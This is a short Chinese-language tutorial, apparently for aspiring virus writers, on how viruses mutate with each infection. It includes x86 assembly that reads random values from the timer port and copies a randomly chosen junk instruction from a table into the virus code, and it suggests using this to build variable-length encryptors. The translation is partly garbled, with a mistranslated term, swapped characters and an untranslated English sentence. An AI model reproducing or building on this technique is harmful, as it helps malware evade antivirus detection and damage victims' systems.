多形現象
多形現象,所指的就是病毒在每次感染時都會改變自己的形態,讓它保持原有的
功能但看起來卻完全不同。這個目的可以利用結果相同但不同的指令來達成。比如:;------ 8 bit
亂數 ----------IN AL,40H
;將亂數放入 AL.;40h = timer port.
;------ 16 bit
亂數 --------IN AX,40H
;將亂數放入 AX.
;------ Another
亂數 -------INT 1AH
;1ah function 0 讀取系統時間
再來你可以用
XOR 或 AND 來製造更大的亂度。 指令集是你所需要的,但是為了寫作方便的考量,二位元組指令的平方是最好的 選擇(可選2,4,8,16 )。如此,你可以得到你要的亂數,並將不需要的位元設為0 ( 用AND)。舉例而言,若有4個隨機指令可以選擇,那麼你可用: AND AX,3 ;3 =00000011b 於是乎,你就剩下4個選擇啦! 將指令集的偏移量設到某暫存器內,再把亂數乘以2加到其內(因為指令是2位元組 長)。現在你擁有一個隨機指令啦!你所剩下的工作就是把它移到你想放置的地方, 你的工作就完成啦! 下面是某些簡單多形中所必須同時加入的指令:IN AX,40H
;取亂數到 AX.AND AX,011b
;限制在 [0,3].SHL AX,1
;變兩倍 , 因為 圾垃指令 長度為 2 bytesMOV SI,OFFSET DATABASE
;SI 指向 圾垃指令表 開頭ADD SI,AX
;SI=SI+AX 指向任意的圾垃指令MOV DI,OFFSET POLY1
;將 圾垃指令 傳到此處MOVSW
;複製 圾垃指令RET
;結束;圾垃指令表
DATABASE DB 2CH,0
; = sub al,0DB 89H,0C0H
; = mov ax,axDB 88H,0C9H
; = mov cl,clDB 21H,0D2H
; = and dx,dx
這僅僅是一個簡單的範例,但卻是初學者的入門課程!你可以發現它並未使用太多的指令。
MtE 和NED 表現的更好,但是它們用了超過 1000 Bytes 的指令!這太誇張了吧! 另一個有用的地方就是在編碼器上。隨機垃圾碼可以讓你的病毒比原有的 255種變化增加至少千種!將變化過長度的指令置入,那麼你就有一個不定長度的編碼器啦 !(Randomise the actual number of variable bytes put in and you can have a variable length encryptor)而真正的變形程序則必須藏身在編碼過程中並在病毒感染檔案前被呼叫。有些你所需要注意的事。你所用的指令集合中的指令必須是同樣長度的。你可以用三種不同長度的指令集合,但是你不能把它們混在一起。使用 DEBUG,並輸入偽裝指令的程式碼。 這就是有關多形簡單概念的簡述。